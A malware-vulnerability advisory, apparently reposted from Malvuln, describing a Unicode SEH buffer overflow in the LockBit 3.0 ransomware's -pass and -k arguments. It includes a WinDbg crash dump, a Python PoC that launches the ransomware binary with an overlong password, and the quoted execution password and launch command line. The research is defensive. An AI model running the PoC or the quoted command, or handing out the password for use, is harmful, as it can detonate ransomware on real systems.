Share
## https://sploitus.com/exploit?id=PACKETSTORM:167689
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022  
Original source: https://malvuln.com/advisory/38745539b71cf201bb502437f891d799.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Ransom Lockbit 3.0  
Vulnerability: Local Unicode Buffer Overflow (SEH)  
Description: The ransomware apparently now requires a password to execute as noted by "@vxunderground" E.g. "-pass db66023ab2abcb9957fb01ed50cdfa6a", but doesnt properly check bounds for both the -pass and -k arguments. Supplying a long string of characters for either flag will trigger a unicode stack buffer overflow overwriting the ECX register and structured exception handler (SEH).   
Family: Lockbit  
Type: PE32  
MD5: 38745539b71cf201bb502437f891d799  
Vuln ID: MVID-2022-0620  
ASLR: False  
DEP: True  
CFG: False  
Safe SEH: False  
Disclosure: 07/03/2022  
  
Memory Dump:  
(b4.1c38): Access violation - code c0000005 (first/second chance not available)  
eax=6bce1634 ebx=00000000 ecx=00410041 edx=77729d70 esi=00000000 edi=00000000  
eip=a291273d esp=000a12f8 ebp=000a1318 iopl=0 nv up ei pl nz na po nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202  
a291273d ?? ???  
  
0:000> .ecxr  
eax=6bce1634 ebx=00000000 ecx=00410041 edx=77729d70 esi=00000000 edi=00000000  
eip=a291273d esp=000a12f8 ebp=000a1318 iopl=0 nv up ei pl nz na po nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202  
a291273d ?? ???  
  
0:000> !analyze -v  
*******************************************************************************  
* *  
* Exception Analysis *  
* *  
*******************************************************************************  
  
Failed calling InternetOpenUrl, GLE=12029  
  
FAULTING_IP:   
LockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce+1b21e  
0041b21e f366a5 rep movs word ptr es:[edi],word ptr [esi]  
  
EXCEPTION_RECORD: 0019f688 -- (.exr 0x19f688)  
ExceptionAddress: 0041b21e (LockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce+0x0001b21e)  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 00000001  
Parameter[1]: 001a0000  
Attempt to write to address 001a0000  
  
PROCESS_NAME: LockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce.exe  
  
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_PARAMETER1: 00000008  
  
EXCEPTION_PARAMETER2: a291273d  
  
WRITE_ADDRESS: a291273d   
  
FOLLOWUP_IP:   
+1b21e  
a291273d ?? ???  
  
FAILED_INSTRUCTION_ADDRESS:   
+1b21e  
a291273d ?? ???  
  
MOD_LIST: <ANALYSIS/>  
  
NTGLOBALFLAG: 0  
  
APPLICATION_VERIFIER_FLAGS: 0  
  
IP_ON_HEAP: a291273d  
The fault address in not in any loaded module, please check your build's rebase  
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may  
contain the address if it were loaded.  
  
CONTEXT: 0019f6d8 -- (.cxr 0x19f6d8)  
eax=00000020 ebx=0019fc00 ecx=0000004a edx=0000029a esi=025724f4 edi=001a0000  
eip=0041b21e esp=0019fb38 ebp=0019fb48 iopl=0 nv up ei pl zr na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246  
LockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce+0x1b21e:  
0041b21e f366a5 rep movs word ptr es:[edi],word ptr [esi]  
Resetting default scope  
  
ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]  
  
LAST_CONTROL_TRANSFER: from 0041b26a to 0041b21e  
  
FAULTING_THREAD: ffffffff  
  
DEFAULT_BUCKET_ID: STACKIMMUNE  
  
PRIMARY_PROBLEM_CLASS: STACKIMMUNE  
  
BUGCHECK_STR: APPLICATION_FAULT_STACKIMMUNE_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_00410041  
  
STACK_TEXT:   
00000000 00000000 lockbit3+0x0  
  
  
STACK_COMMAND: .cxr 000000000019F6D8 ; kb ; ** Pseudo Context ** ; kb  
  
SYMBOL_NAME: lockbit3  
  
FOLLOWUP_NAME: MachineOwner  
  
MODULE_NAME: lockbit3  
  
IMAGE_NAME: lockbit3  
  
DEBUG_FLR_IMAGE_TIMESTAMP: 0  
  
FAILURE_BUCKET_ID: STACKIMMUNE_c0000005_lockbit3!Unloaded  
  
BUCKET_ID: APPLICATION_FAULT_STACKIMMUNE_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_00410041_BAD_IP_lockbit3  
  
Followup: MachineOwner  
---------  
  
0:000> !exchain  
0019f59c: ntdll!ExecuteHandler2+44 (77729d70)  
0019ffcc: LockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce+10041 (00410041)  
Invalid exception stack at 00410041  
  
  
  
Exploit/PoC:  
from subprocess import Popen  
  
#Discovery/Credits: malvuln  
#Vulnerability: Unicode Buffer Overflow (SEH)  
#Disclosure: 07/03/2022  
#Hash: 80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce  
#MD5: 38745539b71cf201bb502437f891d799  
#================================================================================================  
#  
#Apparently Lockbit 3.0 - Lockbit Black (aka LockShit), now requires a password to execute E.g.  
#  
#vx-underground commented on 2022-07-03 18:55:48 UTC  
#  
#{04830965-76E6-6A9A-8EE1-6AF7499C1D08}.exe -k LocalServiceNetworkRestricted -pass db66023ab2abcb9957fb01ed50cdfa6a  
#  
#https://bazaar.abuse.ch/sample/80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce/  
#===============================================================================================  
#  
#Supplying a long payload of characters for the -pass or -k switches triggers a Buffer Overflow.  
#===============================================================================================  
  
TARGET="LockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce.exe"  
BANNER="""  
__ __ _____ __ _ __   
/ / ____ _____/ /__/ ___// /_ (_) /_  
/ / / __ \/ ___/ //_/\__ \/ __ \/ / __/  
/ /___/ /_/ / /__/ ,< ___/ / / / / / /_   
/_____/\____/\___/_/|_|/____/_/ /_/_/\__/ 3.0  
  
Unicode Buffer Overflow  
By malvuln  
"""  
  
PAYLOAD="A"*666  
  
def doit():  
Popen([TARGET, "-pass", PAYLOAD], shell=True)  
  
if __name__=="__main__":  
print(BANNER)  
doit()  
  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).